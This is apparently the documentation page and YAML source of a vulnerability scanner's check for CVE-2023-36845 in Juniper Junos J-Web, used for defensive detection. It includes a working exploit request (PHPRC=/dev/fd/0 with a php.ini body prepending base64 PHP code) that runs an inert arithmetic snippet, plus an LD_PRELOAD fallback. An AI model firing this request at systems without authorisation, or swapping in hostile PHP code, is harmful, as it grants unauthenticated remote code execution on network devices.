Juniper Junos — 1 vulnerability check
noctis ships 1 vulnerability check for Juniper Junos, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Juniper Junos OS J-Web PHP External Variable Modification
| CVE | CVE-2023-36845 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | http_request, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/juniper-junos/CVE-2023-36845.yaml |
Detects Juniper Junos OS J-Web (EX and SRX Series) instances that let an unauthenticated request set PHP environment variables (CVE-2023-36845). The feed first checks that the landing page is J-Web. It then sets PHPRC=/dev/fd/0 in the query string and sends, as the request body, a php.ini that prepends an inert arithmetic PHP snippet (a random marker followed by the product of two random numbers, carried base64-encoded in a data:// URL). The finding is reported when the reply contains the computed result, which proves the device ran code supplied in the request, and the same body sent without PHPRC does not produce it. If that proof is not available, the feed sets LD_PRELOAD to a random non-existent file and reports the device when the runtime linker's "Cannot open" error for that exact file comes back in the reply. Nothing is written on the target.
How noctis detects it
- HTTP(S) request
GET / - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /?PHPRC=/dev/fd/0with a crafted body - HTTP(S) request
POST /with a crafted body - Parses / computes the next value with a Rhai script
- Checks
check.resultfor^evaluated$→ finding QoD 97: Juniper J-Web PHPRC injection — code execution (CVE-2023-36845) - HTTP(S) request
GET /?LD_PRELOAD=/tmp/{{inj.ld}} - Parses / computes the next value with a Rhai script
- Checks
ldcheck.resultfor^ld_error$→ finding QoD 75: Juniper J-Web environment variable injection (CVE-2023-36845)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2023-36845
- https://supportportal.juniper.net/JSA72300
- https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
- https://github.com/vulncheck-oss/cve-2023-36845-scanner
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/freebsd/http/junos_phprc_auto_prepend_file.rb
Feed source — tests/vulnerabilities/juniper-junos/CVE-2023-36845.yaml
# Juniper Junos OS J-Web — PHP external variable modification — CVE-2023-36845
#
# J-Web (appweb + php-cgi on FreeBSD) turns request parameters into environment
# variables of the PHP process. `PHPRC=/dev/fd/0` in the query string makes PHP
# read its php.ini from stdin, i.e. from the request body, so the attacker
# controls `allow_url_include` and `auto_prepend_file`.
#
# Detection (bug #2406 — the previous version reported QoD 75 on any PHP page
# that printed a <b>Notice</b>, with no J-Web fingerprint and no control):
# 1. Fingerprint: GET / must carry one of the J-Web landing-page titles the
# VulnCheck scanner validates ("Juniper Web Device Manager", "Juniper
# Networks Web Management/Web Authentication/VPN Client Application") or
# the "slipstream-content-title" marker. Nothing else is sent otherwise.
# 2. QoD 97: POST /?PHPRC=/dev/fd/0 with the php.ini
# allow_url_include=1
# auto_prepend_file="data://text/plain;base64,<b64 of <?php echo 'm'.(A*B); ?>>"
# (the watchTowr / Metasploit junos_phprc_auto_prepend_file shape) with a
# random marker and random A, B. Only PHP evaluating the prepended code
# yields `m<A*B>`, which the request never contains (the code is base64).
# Control: the same body POSTed without PHPRC must NOT yield the token.
# Nothing is written on the target.
# 3. QoD 75 fallback: GET /?LD_PRELOAD=/tmp/<random> — a vulnerable J-Web
# passes it to php-cgi and the FreeBSD runtime linker answers
# `Cannot open "/tmp/<random>"` (VulnCheck scanner / Metasploit check).
# An echo of the request carries the path but never that sentence.
#
# References: watchTowr labs write-up, VulnCheck cve-2023-36845-scanner (scan.go),
# Metasploit exploits/freebsd/http/junos_phprc_auto_prepend_file.
uid: 7411a3ad-e1f2-445b-91bf-ae83b2c4a104
name: "Juniper Junos OS J-Web PHP External Variable Modification (CVE-2023-36845)"
description: |
Detects Juniper Junos OS J-Web (EX and SRX Series) instances that let an
unauthenticated request set PHP environment variables (CVE-2023-36845). The
feed first checks that the landing page is J-Web. It then sets
PHPRC=/dev/fd/0 in the query string and sends, as the request body, a
php.ini that prepends an inert arithmetic PHP snippet (a random marker
followed by the product of two random numbers, carried base64-encoded in a
data:// URL). The finding is reported when the reply contains the computed
result, which proves the device ran code supplied in the request, and the
same body sent without PHPRC does not produce it. If that proof is not
available, the feed sets LD_PRELOAD to a random non-existent file and
reports the device when the runtime linker's "Cannot open" error for that
exact file comes back in the reply. Nothing is written on the target.
cves: [CVE-2023-36845]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [juniper, junos, j-web, php, phprc, external-variable-modification, kev, intrusive]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-36845"
- "https://supportportal.juniper.net/JSA72300"
- "https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/"
- "https://github.com/vulncheck-oss/cve-2023-36845-scanner"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/freebsd/http/junos_phprc_auto_prepend_file.rb"
steps:
# ── J-Web fingerprint (landing page titles) ─────────────────────────────────
- id: landing
action: http_request
method: GET
path: "/"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
store_as: landing
# ── Fingerprint verdict + per-run payload ───────────────────────────────────
# body : php.ini enabling allow_url_include + data:// auto_prepend_file
# token : <marker><A*B> — only PHP evaluation of the prepended code yields it
- id: build
action: script
store_as: inj
code: |
let page = "";
if is_def_var("landing") && type_of(landing.body) == "string" { page = landing.body; }
let jweb = ereg("(Juniper Web Device Manager|Juniper Networks (Web Management|Web Authentication|VPN Client Application))</title>|slipstream-content-title", page, true);
let marker = "n" + rand_hex(6);
let a = rand_int(1000, 9999);
let b = rand_int(1000, 9999);
let code = "<?php echo '" + marker + "'.(" + a.to_string() + "*" + b.to_string() + "); ?>";
let body = "allow_url_include=1\nauto_prepend_file=\"data://text/plain;base64," + base64_encode(code) + "\"\n";
#{ jweb: jweb, body: body, token: marker + (a * b).to_string(), ld: "noctis" + rand_hex(8) }
# ── Exploit: PHPRC=/dev/fd/0 → php.ini read from the request body ───────────
- id: probe
action: http_request
condition: "inj.jweb"
method: POST
path: "/?PHPRC=/dev/fd/0"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "{{inj.body}}"
store_as: probe
# ── Control: the same body without PHPRC must not be evaluated ──────────────
- id: control
action: http_request
condition: "inj.jweb"
method: POST
path: "/"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "{{inj.body}}"
store_as: control
- id: verdict
action: script
store_as: check
code: |
let p = "";
let c = "";
if is_def_var("probe") && type_of(probe.body) == "string" { p = probe.body; }
if is_def_var("control") && type_of(control.body) == "string" { c = control.body; }
let proof = inj.jweb && stridx(p, inj.token) >= 0 && is_def_var("control") && stridx(c, inj.token) < 0;
#{ result: if proof { "evaluated" } else { "none" } }
- id: confirm-exec
action: match
source: check.result
pattern: "^evaluated$"
on_match:
finding:
title: "Juniper J-Web PHPRC injection — code execution (CVE-2023-36845)"
description: "J-Web accepted PHPRC=/dev/fd/0 and read a php.ini from the request body: the inert arithmetic snippet it prepended came back evaluated, while the same body without PHPRC was not."
remediation: "Upgrade Junos OS to a release listed as fixed in Juniper advisory JSA72300, or disable J-Web (delete system services web-management) or restrict it to trusted management hosts."
confidence_delta: 0.67
qod: 97
evidence: "POST /?PHPRC=/dev/fd/0 with an auto_prepend_file data:// php.ini — computed token {{inj.token}} found in the reply; control without PHPRC did not return it (status {{probe.status}})"
stop: true
# ── Fallback: LD_PRELOAD to a random absent file → runtime linker error ─────
- id: ld-probe
action: http_request
condition: "inj.jweb"
method: GET
path: "/?LD_PRELOAD=/tmp/{{inj.ld}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: ldp
- id: ld-verdict
action: script
store_as: ldcheck
code: |
let b = "";
if is_def_var("ldp") && type_of(ldp.body) == "string" { b = ldp.body; }
let hit = inj.jweb && stridx(b, "Cannot open \"/tmp/" + inj.ld + "\"") >= 0;
#{ result: if hit { "ld_error" } else { "none" } }
- id: confirm-env
action: match
source: ldcheck.result
pattern: "^ld_error$"
on_match:
finding:
title: "Juniper J-Web environment variable injection (CVE-2023-36845)"
description: "J-Web passed a request parameter to php-cgi as the LD_PRELOAD environment variable: the runtime linker's error for the random non-existent library named in the request came back in the reply."
remediation: "Upgrade Junos OS to a release listed as fixed in Juniper advisory JSA72300, or disable J-Web (delete system services web-management) or restrict it to trusted management hosts."
confidence_delta: 0.45
qod: 75
evidence: "GET /?LD_PRELOAD=/tmp/{{inj.ld}} — reply contains: Cannot open \"/tmp/{{inj.ld}}\" (status {{ldp.status}})"